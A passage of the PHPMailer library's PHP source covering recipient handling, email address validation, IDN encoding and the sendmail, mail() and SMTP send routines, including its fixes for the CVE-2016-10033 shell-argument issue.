     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
